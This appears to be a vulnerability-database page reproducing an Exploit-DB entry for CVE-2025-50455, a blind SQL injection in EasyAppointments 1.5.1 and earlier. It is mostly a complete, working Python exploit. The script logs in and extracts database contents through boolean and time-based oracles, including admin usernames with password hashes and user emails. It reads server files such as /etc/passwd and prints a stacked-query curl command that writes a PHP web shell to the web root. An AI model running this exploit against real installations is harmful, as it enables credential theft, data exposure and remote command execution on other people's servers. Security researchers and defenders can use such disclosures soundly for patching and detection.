Lucene search
+L

EasyAppointments 1.5.1 - Blind SQL Injection

🗓️ 01 Sep 2026 00:00:00Reported by Michael ChesangType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 3 Views

Blind SQL injection in EasyAppointments <= 1.5.1 via unsanitized order_by parameter in customer search.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-50455
27 Jul 202600:00
attackerkb
circl
Circl
CVE-2025-50455
27 Jul 202619:00
circl
cve
CVE
CVE-2025-50455
27 Jul 202600:00
cve
cvelist
Cvelist
CVE-2025-50455
27 Jul 202600:00
cvelist
githubexploit
GithubExploit
security-advisories
27 Jul 202609:16
githubexploit
euvd
EUVD
EUVD-2025-210522
27 Jul 202600:00
euvd
nvd
NVD
CVE-2025-50455
27 Jul 202616:16
nvd
packetstorm
Packet Storm
EasyAppointments 1.5.1 Blind SQL Injection
1 Sep 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-64973
27 Jul 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2025-50455
27 Jul 202600:00
vulnrichment
# Exploit Title: EasyAppointments  1.5.1 - Blind SQL Injection
# Google Dork: N/A (backend login required)
# Date: 07/27/2026
# Exploit Author: Michael Chesang
# Vendor Homepage: https://easyappointments.org
# Software Link: https://github.com/alextselegidis/easyappointments/releases
# Version: <= 1.5.1 (REQUIRED)
# Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28
# CVE: CVE-2025-50455

=== Description ===

A blind SQL injection vulnerability exists in the order_by parameter of
the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.
The parameter is passed unsanitized to CodeIgniter 3 Query Builder
order_by(). Parenthesized subqueries bypass backtick escaping via CI3's
protect_identifiers(), enabling arbitrary SQL injection.

Dual-mode extraction:
- Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order
- Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))

=== PoC attached: poc_CVE-2025-50455.py ===

Usage:
python3 poc_CVE-2025-50455.py --url http://target/ \
--username admin --password secret \
--mode bool --target version

=== References ===

https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9
https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e
https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md

import argparse
import json
import re
import sys
import time

import requests
import urllib.parse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = r"""
  _______  _    ________     ___   ___  ___  ______   _____ ____  __  _ ____
 / ___\ \ / /__|__  / __|   |_  ) / _ \|_  )|__ /__|/ ____| ___||  \| | ___|
| |__  \ V / -_)/ /| _|      / / | (_) |/ /  |_ \_  \___ \|___ \|     |___ \
 \____|  \_/\___/___|___|    /___| \___//___|____(_)  ____/ ____/|_|\__|____/

  CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1
  POST /index.php/{customers,admins,providers,...}/search  →  order_by
  Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)
  Author: Michael Chesang
"""

ENDPOINTS = {
    "customers":          "index.php/customers/search",
    "admins":             "index.php/admins/search",
    "providers":          "index.php/providers/search",
    "services":           "index.php/services/search",
    "service_categories": "index.php/service_categories/search",
    "webhooks":           "index.php/webhooks/search",
    "blocked_periods":    "index.php/blocked_periods/search",
}

LOGIN_PATH     = "index.php/login"
VALIDATE_PATH  = "index.php/login/validate"
SLEEP_SEC      = 5
SLEEP_TOL      = 1.5


def die(msg: str):
    print(msg, file=sys.stderr)
    sys.exit(1)


def extract_csrf(html: str) -> str:
    m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html)
    if not m:
        die("[!] Could not extract csrf_token from page.")
    return m.group(1)


def login(args) -> requests.Session:
    sess = requests.Session()
    sess.verify = args.verify

    r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)
    if r.status_code not in (200, 302):
        die(f"[!] Cannot reach login page: HTTP {r.status_code}")

    csrf_token = extract_csrf(r.text)

    r = sess.post(
        urllib.parse.urljoin(args.url, VALIDATE_PATH),
        data={"csrf_token": csrf_token, "username": args.username, "password": args.password},
        timeout=args.timeout,
    )
    if not r.json().get("success"):
        die("[!] Authentication failed – wrong credentials.")

    print(f"[+] Authenticated as '{args.username}'")
    return sess


def send(sess, args, order_by: str) -> requests.Response:
    search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"])
    url = urllib.parse.urljoin(args.url, search_path)
    csrf_token = sess.cookies.get("csrf_cookie", "")
    data = {
        "csrf_token": csrf_token,
        "keyword": "",
        "limit": 20,
        "offset": 0,
        "order_by": order_by,
    }
    return sess.post(url, data=data, timeout=args.timeout)


def timed_send(sess, args, order_by: str) -> float:
    t0 = time.monotonic()
    send(sess, args, order_by)
    return time.monotonic() - t0


def delayed(elapsed: float) -> bool:
    return elapsed >= (SLEEP_SEC - SLEEP_TOL)


# ── Boolean Oracle ────────────────────────────────────────────────────────

def find_ref_id(sess, args) -> int:
    """Find the ID of the first row when sorted by id ASC.
    Reference anchor for boolean oracle — stays constant on FALSE.
    Returns -1 if only 1 row (boolean mode unavailable).
    """
    try:
        r = send(sess, args, "id ASC")
        rows = r.json()
        if len(rows) < 2:
            return -1
        return rows[0]["id"]
    except Exception:
        return -1


def bool_oracle(sess, args, condition: str, ref_id: int) -> bool:
    """Boolean oracle via ORDER BY manipulation.
    Payload: (SELECT IF(condition, id, -id)) DESC
    TRUE  → first row has id != ref_id (sorted by id DESC)
    FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)
    """
    payload = f"(SELECT IF({condition}, id, -id)) DESC"
    try:
        r = send(sess, args, payload)
        rows = r.json()
        if not rows:
            return False
        return rows[0].get("id", 0) != ref_id
    except Exception:
        return False


# ── Time-based Oracle ─────────────────────────────────────────────────────

def time_oracle(sess, args, condition: str) -> bool:
    payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))"
    return delayed(timed_send(sess, args, payload))


# ── Binary-search extraction (shared) ─────────────────────────────────────

def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:
    lo, hi = 1, max_len
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return lo


def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return chr(lo) if lo <= 126 else "?"


def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str:
    tag = label or expr
    print(f"\n[*] Extracting: {tag}")
    length = get_length(sess, args, oracle_fn, expr, max_len)
    print(f"[*] Length = {length} chars")
    result = ""
    for pos in range(1, length + 1):
        ch = get_char(sess, args, oracle_fn, expr, pos)
        result += ch
        print(f"    [{pos:03d}/{length}]  {result}", end="\r", flush=True)
    print(f"    [{length:03d}/{length}]  {result}   ")
    return result


# ── Target expressions ────────────────────────────────────────────────────

TARGETS = {
    "version":           ("@@version",                                                      "MySQL version"),
    "user":              ("USER()",                                                          "DB user"),
    "database":          ("DATABASE()",                                                      "Current database"),
    "datadir":           ("@@datadir",                                                       "Data directory"),
    "hostname":          ("@@hostname",                                                      "Hostname"),
    "secure_file_priv":  ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"),
    "tables":            ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"),
    "columns":           ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"),
    "admin_creds":       ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"),
    "user_emails":       ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"),
}


# ── Modes ─────────────────────────────────────────────────────────────────

def mode_bool(sess, args):
    """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode."""
    print(f"\n[*] Mode: boolean-based extraction")
    print(f"[*] Endpoint: {args.endpoint}")

    ref_id = find_ref_id(sess, args)
    if ref_id < 0:
        print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.")
        return
    print(f"[*] Reference ID (FALSE anchor): {ref_id}")

    oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)

    expr_label = TARGETS.get(args.target, TARGETS["version"])
    expr = expr_label[0].format(table=args.table)
    label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]

    value = extract(sess, args, oracle_fn, expr, label)
    print(f"\n[+] {label}:  {value}")


def mode_time(sess, args):
    print("\n[*] Mode: time-based confirmation")
    print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
    print()

    elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
    elapsed_safe = timed_send(sess, args, "update_datetime DESC")

    print(f"    Injected (sleep)  → {elapsed_vuln:.2f}s")
    print(f"    Benign (no sleep) → {elapsed_safe:.2f}s")
    print()

    if delayed(elapsed_vuln) and not delayed(elapsed_safe):
        print("[+] ✔  VULNERABLE")
    else:
        print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.")


def mode_enum(sess, args):
    """Extract arbitrary data via time-based oracle."""
    expr_label = TARGETS.get(args.target, TARGETS["version"])
    expr = expr_label[0].format(table=args.table)
    label = expr_label[1]

    print(f"\n[*] Mode: data enumeration  ({label})")
    value = extract(sess, args, time_oracle, expr, label)
    print(f"\n[+] {label}:  {value}")


def mode_schema(sess, args):
    tables_to_probe = [
        "ea_users", "ea_appointments", "ea_services",
        "ea_providers", "ea_settings", "users", "admins",
    ]
    if args.table and args.table not in tables_to_probe:
        tables_to_probe.insert(0, args.table)

    print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)")
    print(f"[*] Probing tables: {tables_to_probe}")
    print()

    found = []
    for tbl in tables_to_probe:
        cond = (f"EXISTS(SELECT 1 FROM information_schema.tables "
                f"WHERE table_schema=DATABASE() AND table_name='{tbl}')")
        payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))"
        print(f"    Testing '{tbl}' …", end=" ", flush=True)
        elapsed = timed_send(sess, args, payload)
        if delayed(elapsed):
            print(f"EXISTS  ({elapsed:.1f}s delay)")
            found.append(tbl)
        else:
            print(f"not found ({elapsed:.1f}s)")

    print()
    if found:
        print(f"[+] Confirmed tables: {found}")
    else:
        print("[-] No tested tables confirmed.")


def mode_outfile(sess, args):
    outfile  = args.outfile
    readfile = args.readfile
    shell    = '<?php system($_GET["cmd"]); ?>'

    print("\n[*] Mode: FILE privilege exploitation")
    print(f"[*] Read target : {readfile}")
    print(f"[*] Write target: {outfile}")
    print()

    # Step 1: check secure_file_priv
    print("[*] Step 1 – Enumerating @@global.secure_file_priv …")
    try:
        sfp = extract(
            sess, args, time_oracle,
            "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')",
            "secure_file_priv", max_len=128,
        )
        print(f"\n[+] secure_file_priv = {sfp!r}")
        file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL"
    except Exception:
        print("[!] Could not determine secure_file_priv, assuming restricted.")
        file_priv = False

    # Step 2: LOAD_FILE read
    print()
    print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …")
    if not file_priv:
        print("[!] FILE privilege unavailable – skipping read.")
    else:
        file_len = get_length(
            sess, args, time_oracle,
            f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536,
        )
        if file_len == 0:
            print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.")
        else:
            print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …")
            content = extract(
                sess, args, time_oracle,
                f"IFNULL(LOAD_FILE('{readfile}'),'')",
                f"LOAD_FILE({readfile})", max_len=min(file_len, 512),
            )
            print(f"\n[+] File content ({readfile}):")
            print("-" * 60)
            print(content)
            print("-" * 60)

    # Step 3: stacked-query write (theoretical)
    print()
    print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)")
    search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])
    stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -"
    print(f"    curl -X POST {search_url} \\")
    print(f"      -b 'ea_session=<your_session>' \\")
    print(f"      -d $'keyword=&limit=20&offset=0&order_by={stacked}'")


# ── CLI ───────────────────────────────────────────────────────────────────

def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="poc_CVE-2025-50455",
        description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__,
    )
    p.add_argument("--url",      required=True,
                   help="Base URL (e.g. http://172.17.0.1/)")
    p.add_argument("--username", required=True, help="Backend username")
    p.add_argument("--password", required=True, help="Backend password")
    p.add_argument(
        "--mode",
        choices=["bool", "time", "schema", "enum", "outfile"],
        default="time",
        help=(
            "bool    – boolean extraction via ORDER BY (fastest, need 2+ rows)\n"
            "time    – time-based SLEEP confirmation   (default)\n"
            "schema  – probe table existence via SLEEP\n"
            "enum    – time-based data extraction\n"
            "outfile – LOAD_FILE() read + write analysis"
        ),
    )
    p.add_argument(
        "--endpoint",
        choices=list(ENDPOINTS.keys()),
        default="customers",
        help="Vulnerable endpoint (default: customers)",
    )
    p.add_argument(
        "--target",
        choices=list(TARGETS.keys()),
        default="version",
        help="(enum/bool mode) what to extract. Default: version",
    )
    p.add_argument("--table", default="ea_users",
                   help="Table name for --target columns / --mode schema")
    p.add_argument("--outfile", default="/var/www/html/shell.php",
                   help="(outfile) Server path for shell")
    p.add_argument("--readfile", default="/etc/passwd",
                   help="(outfile) File to read via LOAD_FILE()")
    p.add_argument("--timeout", type=int, default=30,
                   help="HTTP timeout (default: 30)")
    p.add_argument("--no-verify", dest="verify", action="store_false",
                   default=True, help="Disable TLS verification")
    return p.parse_args()


def main():
    print(BANNER)
    args = parse_args()

    if not args.url.endswith("/"):
        args.url += "/"

    print(f"[*] Target   : {args.url}")
    print(f"[*] Endpoint : {args.endpoint}")
    print(f"[*] Mode     : {args.mode}")
    print(f"[*] Timeout  : {args.timeout}s")

    sess = login(args)

    dispatch = {
        "bool":    mode_bool,
        "time":    mode_time,
        "schema":  mode_schema,
        "enum":    mode_enum,
        "outfile": mode_outfile,
    }
    dispatch[args.mode](sess, args)


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.1
EPSS0.00552
SSVC
3